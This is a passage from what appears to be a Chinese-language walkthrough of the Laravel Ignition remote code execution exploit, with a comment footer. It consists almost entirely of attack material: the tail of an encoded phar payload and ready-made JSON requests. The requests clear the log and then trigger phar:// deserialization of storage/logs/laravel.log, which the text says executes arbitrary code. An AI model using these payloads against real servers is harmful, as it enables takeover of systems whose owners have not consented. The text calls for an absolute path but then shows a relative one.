0=49=00=78=00=34=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=73=00=52=00=38=00=57=00=51=00=34=00=61=00=4C=00=73=00=37=00=61=00=45=00=70=00=65=00=54=00=5A=00=7A=00=52=00=43=00=33=00=66=00=4B=00=2B=00=69=00=55=00=53=00=77=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a" } }

发送如下数据包,清空对log文件中的干扰字符,只留下POC:

{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt" } }

使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径)

{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar://../storage/logs/laravel.log/test.txt" } }

1 条评论
某人
表情
可输入 255